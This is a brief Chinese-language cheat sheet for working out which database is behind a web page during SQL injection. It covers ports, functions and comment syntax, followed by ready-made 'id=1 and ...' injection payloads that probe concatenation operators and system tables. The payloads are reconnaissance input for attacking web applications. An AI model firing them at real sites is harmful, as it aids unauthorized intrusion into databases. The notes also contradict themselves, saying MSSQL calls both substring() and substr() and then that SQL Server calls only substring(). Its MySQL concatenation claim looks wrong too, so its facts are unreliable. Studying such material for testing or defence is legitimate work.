默认端口判断
MySQL:3306
MSSQL:1433
Oracle:1521
特有函数判断
substring substr
在mssql中可以调用substring()、substr()
oracle则只可调用substr()
SQL Server只能调用substring()
char_length() #MySQL字符长度
length() #MySQL字节长度
datalength() #MSSQL字节长度
Len() #MSSQL字符长度
lengthb() #Oracle字节长度
length() # Oracle字符串长度
根据特殊符号进行判断
MySQL注释符
1、#注释内容,表示单行注释
2、"-- 注释内容" (注意--后面有一个空格)
3、/*注释内容*/
Oracle注释符
--单行注释符
/**/多行注释符
SQLserver
单行注释:--
多行注释:/*......*/
" ; "是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库
数据库特有连接符判断
id=1 and ‘1’+’1’=’11’ #MySQL或者是MSSQL
id=1 and concat(‘1’,’1’)=’11’ #MySQL或者Oracle
id=1 and ‘1’||’1’=’11’ #Oracle
特有数据表判断
id=1 and (select count(*) from sys.user_tables)>0 and 1=1 #Oracle
id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1 #MySQL5.0以上
id=1 and (select count(*) from sysobjects)>0 and 1=1 #MSSQL
id=1 and (select count(*) from msysobjects)>0 and 1=1 #access数据库